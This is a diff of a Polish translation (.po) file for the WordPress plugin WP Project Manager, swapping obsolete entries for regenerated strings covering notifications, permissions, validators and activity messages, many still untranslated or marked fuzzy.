-msgid "You can see the project by going here:" -msgstr "" - -# @ cpm -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Podgląd projektu" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -# @ cpm -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Aktualizuj listę" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -# @ cpm -#~ msgid "Project created by %s" -#~ msgstr "Projekt utworzony przez %s" - -# @ cpm -#~ msgid "Project details updated by %s" -#~ msgstr "Szczegóły projektu zaktualizowane przez %s" - -# @ cpm -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Wiadomość \"%s\" skasowana przez %s" - -# @ cpm -#~ msgid "%s deleted a comment" -#~ msgstr "%s usunął komentatrz" - -# @ cpm -#~ msgid "Add a comment..." -#~ msgstr "Dodaj komentarz ..." - -# @ cpm -#~ msgid "Messages" -#~ msgstr "Wiadomości" - -# @ cpm -#~ msgid "message post type" -#~ msgstr "Komunikat typu post" - -# @ cpm -#~ msgid "Edit Message" -#~ msgstr "Edytuj wiadomość" - -# @ cpm -#~ msgid "Search Messages" -#~ msgstr "Wyszukiwanie wiadomości" - -# @ cpm -#~ msgid "Parent Message" -#~ msgstr "Wiadomość nadrzędna" - -# @ cpm -#~ msgid "Add New Milestone" -#~ msgstr "Dodaj nowy kamień milowy" - -# @ cpm -#~ msgid "New Milestone" -#~ msgstr "Nowy kamień milowy" - -# @ cpm -#~ msgid "View Milestone" -#~ msgstr "Podgląd kamienia milowego" - -# @ cpm -#~ msgid "Search Milestone" -#~ msgstr "Szukaj kamień milowy" - -# @ cpm -#~ msgid "Parent Milestone" -#~ msgstr "Nadrzędny kamień milowy" - -# @ cpm -#~ msgid "project manager post type" -#~ msgstr "Menadżer projektu typu wiadomości" - -# @ cpm -#~ msgid "Add Project" -#~ msgstr "Dodaj projekt" - -# @ cpm -#~ msgid "Edit Project" -#~ msgstr "Edytuj projekt" - -# @ cpm -#~ msgid "Search Project" -#~ msgstr "Wyszukaj projekt" - -# @ cpm -#~ msgid "Parent Project" -#~ msgstr "Nadrzędny projekt" - -# @ cpm -#~ msgid "Add Task List" -#~ msgstr "Dodaj listy zadań" - -# @ cpm -#~ msgid "Add New Task List" -#~ msgstr "Dodaj nową listę zadań" - -# @ cpm -#~ msgid "Edit Task List" -#~ msgstr "Edycja listy zadań" - -# @ cpm -#~ msgid "View Task List" -#~ msgstr "Zobacz listę zadań" - -# @ cpm -#~ msgid "Search Task List" -#~ msgstr "Szukaj listę zadań" - -# @ cpm -#~ msgid "Parent Task List" -#~ msgstr "Nadrzędna lista zadań" - -# @ cpm -#~ msgid "Add New Task" -#~ msgstr "Dodaj nowe zadanie" - -# @ cpm -#~ msgid "Edit Task" -#~ msgstr "Edytuj zadanie" - -# @ cpm -#~ msgid "New Task" -#~ msgstr "Nowe zadanie" - -# @ cpm -#~ msgid "Search Task" -#~ msgstr "Szukaj zadanie" - -# @ cpm -#~ msgid "Parent Task" -#~ msgstr "Nadrzędne zadanie" - -# @ cpm -#~ msgid "Delete project" -#~ msgstr "Usuń projekt" - -# @ cpm -#~ msgid "Add this comment" -#~ msgstr "Dodaj ten komentarz" - -# @ cpm -#~ msgid "late" -#~ msgstr "opóźniony" - -# @ cpm -#~ msgid "Attached to %s by %s" -#~ msgstr "Przydzielony do %s przez %s" - -# @ cpm -#~ msgid "Error: Message not found" -#~ msgstr "Błąd: Nie znaleziono wiadomości" - -# @ cpm -#~ msgid "Error: Project not found" -#~ msgstr "Błąd: nie znaleziono projektu" - -# @ cpm -#~ msgid "Error: Permission denied" -#~ msgstr "Błąd: połączenie nie dozwolone" - -# @ cpm -#, fuzzy -#~ msgid "1 Comment" -#~ msgid_plural "%d Comments" -#~ msgstr[0] "1 komentarz" -#~ msgstr[1] "1 komentarz" -#~ msgstr[2] "" - -# @ cpm -#~ msgid "Message %s created by %s" -#~ msgstr "Wiadomość %s utworzona przez %s" - -# @ cpm -#~ msgid "Message %s updated by %s" -#~ msgstr "Wiadomość %s zaktualizowana przez %s" - -# @ cpm -#~ msgid "To-do list %s created by %s" -#~ msgstr "Lista zadań %s utworzona przez %s" - -# @ cpm -#~ msgid "To-do list %s updated by %s" -#~ msgstr "Lista zadań %s zaktualizowana przez %s" - -# @ cpm -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "Lista zadań \"%s\" usunięta przez %s" - -# @ cpm -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "Zadanie %s dodane do listy %s przez %s" - -# @ cpm -#~ msgid "To-do %s updated by %s" -#~ msgstr "Zadanie %s zaktualizowane przez %s" - -# @ cpm -#~ msgid "To-do %s completed by %s" -#~ msgstr "Zadanie %s zakończone przez %s" - -# @ cpm -#~ msgid "Marked to-do as done" -#~ msgstr "Zadanie odznaczone jako wykonane" - -# @ cpm -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "Zadanie %s odznaczone jako niewykonane przez %s" - -# @ cpm -#~ msgid "Re-opened to-do" -#~ msgstr "Zadanie ponownie otwarte do zrobienia" - -# @ cpm -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "Zadanie \"%s\" usunięte z listy %s przez %s" - -# @ cpm -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Kamień milowy \"%s\" dodany przez %s " - -# @ cpm -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Kamień milowy \"%s\" zaktualizowany przez %s " - -# @ cpm -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Kamień milowy \"%s\" usunięty przez %s " - -# @ cpm -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Kamień milowy \"%s\" zaznaczony jako wykonany przez %s " - -# @ cpm -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Kamień milowy \"%s\" odznaczony jako niekompletny przez %s " - -# @ cpm -#~ msgid "General" -#~ msgstr "Ogólne" - -# @ cpm -#~ msgid "No Messages Found" -#~ msgstr "Brak wiadomości" - -# @ cpm -#~ msgid "No Messages Found in Trash" -#~ msgstr "Brak wiadomości w koszu" - -# @ cpm -#~ msgid "No Milestone Found" -#~ msgstr "Nie znaleziono kamienia milowego" - -# @ cpm -#~ msgid "No Milestone Found in Trash" -#~ msgstr "Nie znaleziono kamienia milowego w koszu" - -# @ cpm -#~ msgid "No Project Found in Trash" -#~ msgstr "Nie znaleziono projektu w koszu" - -# @ cpm -#~ msgid "No Task List Found" -#~ msgstr "Nie znaleziono listy zadań" - -# @ cpm -#~ msgid "No Task List Found in Trash" -#~ msgstr "Nie znaleziono listy zadań w koszu" - -# @ cpm -#~ msgid "No Task Found" -#~ msgstr "Nie znaleziono zadań" - -# @ cpm -#~ msgid "No Task Found in Trash" -#~ msgstr "Nie znaleziono zadań w koszu" - -# @ cpm -#~ msgid "Select co-workers" -#~ msgstr "Wybierz współpracowników" - -# @ cpm -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Czy na pewno chcesz usunąć to zadanie?" - -# @ cpm -#~ msgid "Add this to-do" -#~ msgstr "Dodaj zadanie" - -# @ cpm -#~ msgid "Add a new to-do" -#~ msgstr "Dodaj nowe zadanie" - -# @ cpm -#~ msgid "-- milestone --" -#~ msgstr "-- kamień milowy --" - -# @ cpm -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "Czy na pewno chcesz usunąć tę listę zadań?" - -# @ cpm -#~ msgid "Update comment" -#~ msgstr "Aktualizacja komentarza" - -# @ cpm -#~ msgid "Edit milestone" -#~ msgstr "Edytuj kamień milowy" - -# @ cpm -#~ msgid "Mark un-complete" -#~ msgstr "Oznacz jako niekompletne" - -# @ cpm -#~ msgid "To-do List" -#~ msgstr "Lista zadań" - -# @ cpm -#~ msgid "Notify Co-workers" -#~ msgstr "Informuj współpracowników" - -# @ cpm -#~ msgid "thread" -#~ msgstr "wątek" - -# @ cpm -#~ msgid "One Comment" -#~ msgid_plural "%s Comments" -#~ msgstr[0] "%s komentarz" -#~ msgstr[1] "%s komentarze" - -# @ cpm -#~ msgid "Discuss this to-do list" -#~ msgstr "Skomentuj listę do zrobienia." - -# @ default -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "rozmiar pliku w MB. np: 2" - -# @ cpm -#~ msgid "New Project Subject" -#~ msgstr "Nowy temat projektu" - -# @ cpm -#~ msgid "New Project Body" -#~ msgstr "Opis nowego projektu" - -# @ cpm -#~ msgid "New Message Subject" -#~ msgstr "Nowy temat wiadomości" - -# @ cpm -#~ msgid "New Message Body" -#~ msgstr "Treść nowej wiadomości" - -# @ cpm -#~ msgid "New Comment Subject" -#~ msgstr "Nowy temat komentarza" - -# @ cpm -#~ msgid "New Assigned Task Subject" -#~ msgstr "Temat nowego zadania" - -# @ cpm -#~ msgid "-- assign to --" -#~ msgstr "-- przypisz do --" - -# @ cpm -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Aby dodać wybierz pliki z " -#~ "komputera." - -# @ cpm -#~ msgid "%d message" -#~ msgid_plural "%d messages" -#~ msgstr[0] "%d wiadomość" -#~ msgstr[1] "%d wiadomości" - -# @ cpm -#~ msgid "%d to-do list" -#~ msgid_plural "%d to-do lists" -#~ msgstr[0] "%d lista zadań" -#~ msgstr[1] "%d listy zadań" - -# @ cpm -#~ msgid "%d to-do" -#~ msgid_plural "%d to-dos" -#~ msgstr[0] "%d zadanie" -#~ msgstr[1] "%d zadania" - -# @ cpm -#~ msgid "%d milestone" -#~ msgid_plural "%d milestones" -#~ msgstr[0] "%d kamień milowy" -#~ msgstr[1] "%d kamienie milowe" - -# @ cpm -#~ msgid "%d Comments" -#~ msgstr "%d komentarzy" - -# @ cpm -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Uzupełnione przez %s na %s)" - -# @ cpm -#~ msgid "Tasklist name" -#~ msgstr "Nazwa listy zadań" - -# @ cpm -#~ msgid "Add a to-do" -#~ msgstr "Dodaj zadanie" - -# @ cpm -#~ msgid "Details about milestone (optional)" -#~ msgstr "Szczegóły kamienia milowego (opcjonalne)" - -# @ cpm -#~ msgid "Reopen" -#~ msgstr "Otwórz ponownie" - -# @ cpm -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "" -#~ "Pobierz lub dołącz do dyskusji." - -# @ cpm -#~ msgid "No Files Found!" -#~ msgstr "Nie odnaleziono plików!" - -# @ cpm -#~ msgid "Add New" -#~ msgstr "Dodaj nową" - -# @ cpm -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Brak wiadomości! Możesz dodać nową." - -# @ cpm -#~ msgid "← back" -#~ msgstr "← z powrotem" - -# @ cpm -#~ msgid "No Milestone Found!" -#~ msgstr "Brak kamieni milowych." - -# @ cpm -#~ msgid "Add new milestone" -#~ msgstr "Dodaj nowy kamień milowy" - -# @ cpm -#~ msgid "Project Info" -#~ msgstr "Informacje o projekcie" - -# @ cpm -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Lista zadań nie została znaleziona." - -# @ cpm -#~ msgid "Discuss this to-do" -#~ msgstr "Skomentuj to zadanie" - -# @ cpm -#~ msgid "Message details here" -#~ msgstr "Szczegóły wiadomości tutaj" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager v0.4.3\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:53+0600\n" +"Last-Translator: Jacek Synowiec \n" +"Language-Team: \n" +"Language: pl_PL\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 " +"|| n%100>=20) ? 1 : 2);\n" +"X-Generator: Poedit 2.0.8\n" +"X-Poedit-SourceCharset: UTF-8\n" +"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" +"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" +"X-Poedit-Basepath: ..\n" +"X-Textdomain-Support: yes\n" +"X-Poedit-SearchPath-0: .\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Wiadomość" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Lista zadań" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Zadanie" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "Pliki" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Aktualizacja projektu" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +# @ cpm +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Załaduj więcej ..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +# @ default +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Dozwolone pliki" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +# @ cpm +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Ustawienia" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +# @ cpm +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Menedżer projektów" + +# @ cpm +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Projekty" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +# @ cpm +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "Szczegóły listy zadań" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +# @ cpm +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s skomentował %s" + +# @ cpm +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s skomentował %s" + +# @ cpm +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s skomentował %s" + +# @ cpm +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s skomentował %s" + +# @ cpm +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +# @ cpm +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s skomentował %s" + +# @ cpm +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s zaktualizowany komentarz przez %s" + +# @ cpm +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s zaktualizowany komentarz przez %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +# @ cpm +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Projekt" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +# @ cpm +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Lista zadań" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +# @ cpm +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Kamień milowy" + +# @ cpm +#: texts/resource_types.php:20 +#, fuzzy +#| msgid "%d comment" +#| msgid_plural "%d comments" +msgid "comment" +msgstr "%d komentarz" + +# @ cpm +#: texts/resource_types.php:23 +#, fuzzy +#| msgid "%d file" +#| msgid_plural "%d files" +msgid "file" +msgstr "%d plik" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 